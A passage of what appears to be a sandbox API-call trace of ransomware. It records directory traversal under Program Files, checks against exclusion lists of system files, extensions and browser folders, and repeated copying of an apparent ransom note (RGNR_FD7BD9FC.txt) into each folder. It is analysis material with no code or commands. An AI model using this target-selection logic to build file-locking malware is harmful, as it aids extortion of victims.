cFileName="..", cAlternateFileName="")) returned 1 [0058.880] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x7555a380, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7555a380, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0058.880] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0058.880] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3d [0058.880] lstrcpyW (in: lpString1=0x1eb634, lpString2="msinfo32.exe" | out: lpString1="msinfo32.exe") returned="msinfo32.exe" [0058.880] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned=".exe" [0058.880] lstrcmpiW (lpString1="msinfo32.exe", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.880] lstrcmpiW (lpString1="msinfo32.exe", lpString2="autorun.inf") returned 1 [0058.881] lstrcmpiW (lpString1="msinfo32.exe", lpString2="boot.ini") returned 1 [0058.881] lstrcmpiW (lpString1="msinfo32.exe", lpString2="bootfont.bin") returned 1 [0058.881] lstrcmpiW (lpString1="msinfo32.exe", lpString2="bootsect.bak") returned 1 [0058.881] lstrcmpiW (lpString1="msinfo32.exe", lpString2="bootmgr") returned 1 [0058.881] lstrcmpiW (lpString1="msinfo32.exe", lpString2="bootmgr.efi") returned 1 [0058.881] lstrcmpiW (lpString1="msinfo32.exe", lpString2="bootmgfw.efi") returned 1 [0058.881] lstrcmpiW (lpString1="msinfo32.exe", lpString2="desktop.ini") returned 1 [0058.881] lstrcmpiW (lpString1="msinfo32.exe", lpString2="iconcache.db") returned 1 [0058.881] lstrcmpiW (lpString1="msinfo32.exe", lpString2="ntldr") returned -1 [0058.881] lstrcmpiW (lpString1="msinfo32.exe", lpString2="ntuser.dat") returned -1 [0058.881] lstrcmpiW (lpString1="msinfo32.exe", lpString2="ntuser.dat.log") returned -1 [0058.881] lstrcmpiW (lpString1="msinfo32.exe", lpString2="ntuser.ini") returned -1 [0058.881] lstrcmpiW (lpString1="msinfo32.exe", lpString2="thumbs.db") returned -1 [0058.881] lstrcmpiW (lpString1=".exe", lpString2=".db") returned 1 [0058.881] lstrcmpiW (lpString1=".exe", lpString2=".sys") returned -1 [0058.881] lstrcmpiW (lpString1=".exe", lpString2=".dll") returned 1 [0058.881] lstrcmpiW (lpString1=".exe", lpString2=".lnk") returned -1 [0058.881] lstrcmpiW (lpString1=".exe", lpString2=".msi") returned -1 [0058.881] lstrcmpiW (lpString1=".exe", lpString2=".drv") returned 1 [0058.881] lstrcmpiW (lpString1=".exe", lpString2=".exe") returned 0 [0058.881] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7555a380, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7555a380, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0058.881] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3d [0058.881] lstrcpyW (in: lpString1=0x1eb634, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0058.881] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\RGNR_FD7BD9FC.txt") returned=".txt" [0058.881] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0058.881] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7555a380, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7555a380, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0058.881] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0058.881] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 1 [0058.881] lstrcmpiW (lpString1="OFFICE14", lpString2=".") returned 1 [0058.881] lstrcmpiW (lpString1="OFFICE14", lpString2="..") returned 1 [0058.881] lstrcmpiW (lpString1="OFFICE14", lpString2="Windows") returned -1 [0058.881] lstrcmpiW (lpString1="OFFICE14", lpString2="Windows.old") returned -1 [0058.881] lstrcmpiW (lpString1="OFFICE14", lpString2="Tor browser") returned -1 [0058.882] lstrcmpiW (lpString1="OFFICE14", lpString2="Internet Explorer") returned 1 [0058.882] lstrcmpiW (lpString1="OFFICE14", lpString2="Google") returned 1 [0058.882] lstrcmpiW (lpString1="OFFICE14", lpString2="Opera") returned -1 [0058.882] lstrcmpiW (lpString1="OFFICE14", lpString2="Opera Software") returned -1 [0058.882] lstrcmpiW (lpString1="OFFICE14", lpString2="Mozilla") returned 1 [0058.882] lstrcmpiW (lpString1="OFFICE14", lpString2="Mozilla Firefox") returned 1 [0058.882] lstrcmpiW (lpString1="OFFICE14", lpString2="$Recycle.Bin") returned 1 [0058.882] lstrcmpiW (lpString1="OFFICE14", lpString2="ProgramData") returned -1 [0058.882] lstrcmpiW (lpString1="OFFICE14", lpString2="All Users") returned 1 [0058.882] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x36 [0058.882] lstrcpyW (in: lpString1=0x1ec0fe, lpString2="OFFICE14" | out: lpString1="OFFICE14") returned="OFFICE14" [0058.882] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" [0058.882] lstrcpyW (in: lpString1=0x1ebe8c, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" [0058.882] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RGNR_FD7BD9FC.txt" [0058.882] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0058.903] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*" [0058.903] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb1ac, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0058.903] lstrcpyW (in: lpString1=0x1eafa4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0058.903] lstrcpyW (in: lpString1=0x1eb224, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0058.903] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x755a6640, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x755a6640, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0058.903] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0058.903] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x755a6640, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x755a6640, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.903] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0058.903] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0058.903] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0058.903] lstrcmpiW (lpString1="1033", lpString2=".") returned 1 [0058.903] lstrcmpiW (lpString1="1033", lpString2="..") returned 1 [0058.903] lstrcmpiW (lpString1="1033", lpString2="Windows") returned -1 [0058.903] lstrcmpiW (lpString1="1033", lpString2="Windows.old") returned -1 [0058.903] lstrcmpiW (lpString1="1033", lpString2="Tor browser") returned -1 [0058.903] lstrcmpiW (lpString1="1033", lpString2="Internet Explorer") returned -1 [0058.903] lstrcmpiW (lpString1="1033", lpString2="Google") returned -1 [0058.903] lstrcmpiW (lpString1="1033", lpString2="Opera") returned -1 [0058.903] lstrcmpiW (lpString1="1033", lpString2="Opera Software") returned -1 [0058.904] lstrcmpiW (lpString1="1033", lpString2="Mozilla") returned -1 [0058.904] lstrcmpiW (lpString1="1033", lpString2="Mozilla Firefox") returned -1 [0058.904] lstrcmpiW (lpString1="1033", lpString2="$Recycle.Bin") returned 1 [0058.904] lstrcmpiW (lpString1="1033", lpString2="ProgramData") returned -1 [0058.904] lstrcmpiW (lpString1="1033", lpString2="All Users") returned -1 [0058.904] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0058.904] lstrcpyW (in: lpString1=0x1eb638, lpString2="1033" | out: lpString1="1033") returned="1033" [0058.904] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\" [0058.904] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\" [0058.904] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\RGNR_FD7BD9FC.txt" [0058.904] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0058.925] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*.*" [0058.925] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0058.925] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0058.925] lstrcpyW (in: lpString1=0x1ea756, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0058.925] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x755cc7a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x755cc7a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0058.925] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0058.925] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x755cc7a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x755cc7a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.925] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0058.925] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0058.925] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0x305a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEINTL.DLL", cAlternateFileName="")) returned 1 [0058.925] lstrcmpiW (lpString1="ACEINTL.DLL", lpString2=".") returned 1 [0058.925] lstrcmpiW (lpString1="ACEINTL.DLL", lpString2="..") returned 1 [0058.925] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0xcdb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODBCI.DLL", cAlternateFileName="")) returned 1 [0058.925] lstrcmpiW (lpString1="ACEODBCI.DLL", lpString2=".") returned 1 [0058.925] lstrcmpiW (lpString1="ACEODBCI.DLL", lpString2="..") returned 1 [0058.925] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x51d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACERECR.DLL", cAlternateFileName="")) returned 1 [0058.925] lstrcmpiW (lpString1="ACERECR.DLL", lpString2=".") returned 1 [0058.925] lstrcmpiW (lpString1="ACERECR.DLL", lpString2="..") returned 1 [0058.925] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xd2990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWSTR.DLL", cAlternateFileName="")) returned 1 [0058.925] lstrcmpiW (lpString1="ACEWSTR.DLL", lpString2=".") returned 1 [0058.925] lstrcmpiW (lpString1="ACEWSTR.DLL", lpString2="..") returned 1 [0058.925] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f139500, ftCreationTime.dwHighDateTime=0x1c69359, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7f139500, ftLastWriteTime.dwHighDateTime=0x1c69359, nFileSizeHigh=0x0, nFileSizeLow=0x19a3ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADO210.CHM", cAlternateFileName="")) returned 1 [0058.925] lstrcmpiW (lpString1="ADO210.CHM", lpString2=".") returned 1 [0058.925] lstrcmpiW (lpString1="ADO210.CHM", lpString2="..") returned 1 [0058.925] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b06d00, ftCreationTime.dwHighDateTime=0x1ca9127, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe4b06d00, ftLastWriteTime.dwHighDateTime=0x1ca9127, nFileSizeHigh=0x0, nFileSizeLow=0x25b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="ALRTINTL.DLL", cAlternateFileName="")) returned 1 [0058.926] lstrcmpiW (lpString1="ALRTINTL.DLL", lpString2=".") returned 1 [0058.926] lstrcmpiW (lpString1="ALRTINTL.DLL", lpString2="..") returned 1 [0058.926] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xc24a9ec0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x269380, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL", cAlternateFileName="")) returned 1 [0058.926] lstrcmpiW (lpString1="MSOINTL.DLL", lpString2=".") returned 1 [0058.926] lstrcmpiW (lpString1="MSOINTL.DLL", lpString2="..") returned 1 [0058.926] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b30dd00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5b30dd00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0xd980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL.IDX_DLL", cAlternateFileName="MSOINT~1.IDX")) returned 1 [0058.926] lstrcmpiW (lpString1="MSOINTL.DLL.IDX_DLL", lpString2=".") returned 1 [0058.926] lstrcmpiW (lpString1="MSOINTL.DLL.IDX_DLL", lpString2="..") returned 1 [0058.926] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c620a00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee8f1b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5c620a00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0x152f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.REST.IDX_DLL", cAlternateFileName="MSOINT~2.IDX")) returned 1 [0058.926] lstrcmpiW (lpString1="MSOINTL.REST.IDX_DLL", lpString2=".") returned 1 [0058.926] lstrcmpiW (lpString1="MSOINTL.REST.IDX_DLL", lpString2="..") returned 1 [0058.926] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xa388, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSOAPR3.DLL", cAlternateFileName="")) returned 1 [0058.926] lstrcmpiW (lpString1="MSSOAPR3.DLL", lpString2=".") returned 1 [0058.926] lstrcmpiW (lpString1="MSSOAPR3.DLL", lpString2="..") returned 1 [0058.926] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x356f9800, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x356f9800, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="OARPMANR.DLL", cAlternateFileName="")) returned 1 [0058.926] lstrcmpiW (lpString1="OARPMANR.DLL", lpString2=".") returned 1 [0058.926] lstrcmpiW (lpString1="OARPMANR.DLL", lpString2="..") returned 1 [0058.926] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d183e00, ftCreationTime.dwHighDateTime=0x1ca520c, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4d183e00, ftLastWriteTime.dwHighDateTime=0x1ca520c, nFileSizeHigh=0x0, nFileSizeLow=0x795, dwReserved0=0x0, dwReserved1=0x0, cFileName="README.HTM", cAlternateFileName="")) returned 1 [0058.926] lstrcmpiW (lpString1="README.HTM", lpString2=".") returned 1 [0058.926] lstrcmpiW (lpString1="README.HTM", lpString2="..") returned 1 [0058.926] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x755cc7a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x755cc7a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0058.926] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0058.926] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0058.926] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, 